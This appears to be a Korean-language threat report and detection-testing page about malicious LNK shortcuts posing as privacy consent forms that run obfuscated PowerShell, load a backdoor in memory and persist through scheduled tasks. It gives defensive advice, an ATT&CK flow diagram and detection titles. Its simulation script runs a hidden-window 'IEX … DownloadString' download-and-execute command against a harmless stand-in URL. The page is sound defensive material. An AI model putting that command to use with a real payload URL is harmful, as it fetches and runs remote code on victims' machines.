개인정보 동의서로 위장된 바로가기 파일의 진짜 내용은 무엇이었나?
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
위협 행위자는 사용자를 속여 열도록 하기 위해 개인정보 동의 양식으로 위장된 악성 LNK 파일을 배포하고 있습니다. 실행 시 이러한 바로 가기 파일은 난독화된 PowerShell 명령을 실행하여 파일리스 기법으로 추가 페이로드를 검색하고 실행합니다. 공격 체인은 정보를 탈취하고 접근과 지속성을 유지하는데 도움을 주는 백도어 로더를 배포하도록 설계되었습니다.
조사
조사 결과 LNK 파일이 후속 스크립트를 다운로드하는 역할을 하는 난독화된 PowerShell 코드를 포함하고 있음이 밝혀졌습니다. 이러한 2차 스크립트는 합법적인 웹 서비스를 사용해 페이로드를 가져오는 다운로드 도구와 직접 메모리에서 실행하는 로더를 포함합니다. 또한 위협 행위자는 지속성을 위해 Windows 작업 스케줄러를 악용하고, 악성 활동을 정당화하기 위해 미끼 문서를 사용합니다.
완화
조직은 파일 확장자의 엄격한 검증을 시행하고 사용자가 일반 문서로 위장된 LNK 파일에 주의를 기울이도록 경고해야 합니다. 보안 팀은 작업 스케줄러 활동, PowerShell 실행 로그, 그리고 외부 네트워크 연결을 면밀히 모니터링해야 합니다. 사용자는 들어오는 파일을 열기 전에 발신자와 전달 경로를 검증하는 방법을 교육받아야 합니다.
대응
이 활동이 탐지되면, 관리자는 즉시 의심스러운 작업 스케줄러 항목과 사용자 접근 가능한 디렉토리에서의 이상한 PowerShell 스크립트 생성들을 검토해야 합니다. PowerShell 로그를 분석하고 특히 합법적인 클라우드 플랫폼이나 웹 저장소 서비스와 관련된 외부 연결을 추적해야 합니다. 식별된 악성 스크립트와 인가받지 않은 네트워크 트래픽에 대해 전체 포렌식 조사를 수행해야 합니다.
graph TB %% 클래스 정의 classDef initial_access fill:#f96,stroke:#333,stroke-width:2px classDef execution fill:#69f,stroke:#333,stroke-width:2px classDef persistence fill:#6c6,stroke:#333,stroke-width:2px classDef discovery fill:#ff9,stroke:#333,stroke-width:2px classDef exfiltration fill:#f66,stroke:#333,stroke-width:2px %% 초기 접근 단계 action_user_exec[“<b>행위</b> – <b>T1204.002 User Execution: Malicious File</b><br/>피해자가 동의서로 위장된<br/>악성 .LNK 바로가기를 실행.”] class action_user_exec initial_access action_masquerade[“<b>행위</b> – <b>T1036.008 Masquerading: Masquerade File Type</b><br/>.LNK 파일이 합법적인<br/>개인정보 동의 양식으로 위장.”] class action_masquerade initial_access %% 실행 단계 action_obfuscation[“<b>행위</b> – <b>T1027.009 Obfuscated Files or Information: Embedded Payloads</b><br/>.LNK 파일 내부에 난독화된<br/>PowerShell 스크립트 페이로드 포함.”] class action_obfuscation execution action_cloud_api[“<b>행위</b> – <b>T1059.009 Command and Scripting Interpreter: Cloud API</b><br/>PowerShell 스크립트가 클라우드 서비스를 사용하여<br/>추가 악성 스크립트를 다운로드.”] class action_cloud_api execution action_proxy_exec[“<b>행위</b> – <b>T1216 System Script Proxy Execution</b><br/>악성코드는 시스템 스크립트 프록시 실행을 사용하여<br/>탐지를 회피.”] class action_proxy_exec execution action_reflective_load[“<b>행위</b> – <b>T1620 Reflective Code Loading</b><br/>다운로드된 스크립트는 파일리스 방식으로<br/>메모리에서 실행.”] class action_reflective_load execution %% 지속성 단계 action_scheduled_task[“<b>행위</b> – <b>T1053 Scheduled Task/Job</b><br/>Windows 작업 스케줄러에 작업을 등록하여<br/>재부팅 이후에도 실행을 유지.”] class action_scheduled_task persistence %% 탐색 단계 action_sys_info[“<b>행위</b> – <b>T1082 System Information Discovery</b><br/>PowerShell 스크립트가 운영체제 정보,<br/>네트워크 설정 및 IP 주소를 수집.”] class action_sys_info discovery action_query_reg[“<b>행위</b> – <b>T1012 Query Registry</b><br/>스크립트가 레지스트리를 조회하여<br/>실행 중인 프로세스와 보안 제품을 식별.”] class action_query_reg discovery %% 목표 단계 action_backdoor[“<b>행위</b> – <b>Backdoor loader-type</b><br/>접근 권한을 유지하고 추가적인<br/>악성 활동을 가능하게 함.”] class action_backdoor exfiltration action_selective_exclusion[“<b>행위</b> – <b>T1679 Selective Exclusion</b><br/>백도어가 선택적 제외 기능을 통해<br/>보안 통제를 우회.”] class action_selective_exclusion exfiltration %% 연결 흐름 action_user_exec –>|이어짐| action_masquerade action_masquerade –>|유발| action_obfuscation action_obfuscation –>|포함| action_cloud_api action_cloud_api –>|배포| action_proxy_exec action_proxy_exec –>|수행| action_reflective_load action_reflective_load –>|설정| action_scheduled_task action_scheduled_task –>|실행| action_sys_info action_sys_info –>|연결| action_query_reg action_query_reg –>|제공| action_backdoor action_backdoor –>|활성화| action_selective_exclusion
공격 흐름
탐지
Wmi PowerShell 모듈을 사용한 가능성 있는 시스템 정보 검색 (PowerShell 통해)
보기
PowerShell을 통한 난독화 지표 (PowerShell 통해)
보기
외부 다운로드 및 연결로 이어지는 악성 LNK 파일 실행 [Windows 네트워크 연결]
보기
작업 스케줄러를 통해 지속성을 유지하는 악성 LNK 파일 실행 [Windows 프로세스 생성]
보기
난독화된 PowerShell 실행을 위한 악성 LNK 파일 [Windows PowerShell]
보기
시뮬레이션 실행
전제조건: 원격측정 & 기본선 사전 비행 검사가 통과되어야 합니다.
이유: 이 섹션은 탐지 규칙을 유발하도록 설계된 적의 기법(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 내러티브는 식별된 TTP를 반드시 직설적으로 반영해야 하며, 탐지 논리가 기대하는 정확한 원격측정을 생성하는 것을 목표로 해야 합니다. 추상적이거나 관련이 없는 예제는 오진을 초래할 수 있습니다.
-
공격 내러티브 및 명령: 적은 초기 접근을 수립하고 2차 악성 페이로드를 다운로드하려고 합니다. 단순 파일 스캐너에 의한 탐지를 피하기 위해, LNK(바로 가기) 파일을 사용합니다. 이 LNK 파일은
powershell.exe를 숨겨진 창에서 실행하도록 설계되었습니다. PowerShell에 전달된 명령은Invoke-ExpressionandDownloadString을 사용하여 원격 URL에서 스크립트를 가져옵니다. 이는 합법적인 바이너리가 악성 작업을 수행하는 실제 “Living-off-the-Land”(LotL) 공격을 모방하며, 전통적인 서명 기반 안티바이러스를 우회하려고 합니다. -
회귀 테스트 스크립트:
# 1. 테스트용으로 무해한 사이트를 사용하여 대상 URL을 정의합니다. $url = "https://www.google.com" # 2. 악성 PowerShell 페이로드 문자열을 생성합니다. # 이 문자열은 'DownloadString' 및 'Invoke-Expression' 탐지를 유발하도록 설계되었습니다. $payload = "IEX (New-Object Net.WebClient).DownloadString('$url')" # 3. 더미 LNK 파일 콘텐츠를 생성합니다 (시뮬레이션). # 실제 공격에서는 이진 .lnk 파일이 될 것입니다. # 여기서는 스크립트 블록 로그가 검증을 위해 생성되도록 명령을 직접 실행합니다. Write-Host "[+] LNK 페이로드를 통한 악성 PowerShell 실행 시뮬레이션..." powershell.exe -WindowStyle Hidden -Command $payload Write-Host "[+] 시뮬레이션 명령이 실행되었습니다. 이벤트 ID 4104를 확인하세요." -
정리 명령:
# 파일이 생성된 경우 아티팩트를 제거합니다. Remove-Item -Path "$HOMEDesktopSimulated_Malicious_LNK.lnk" -ErrorAction SilentlyContinue Write-Host "[+] 정리 완료."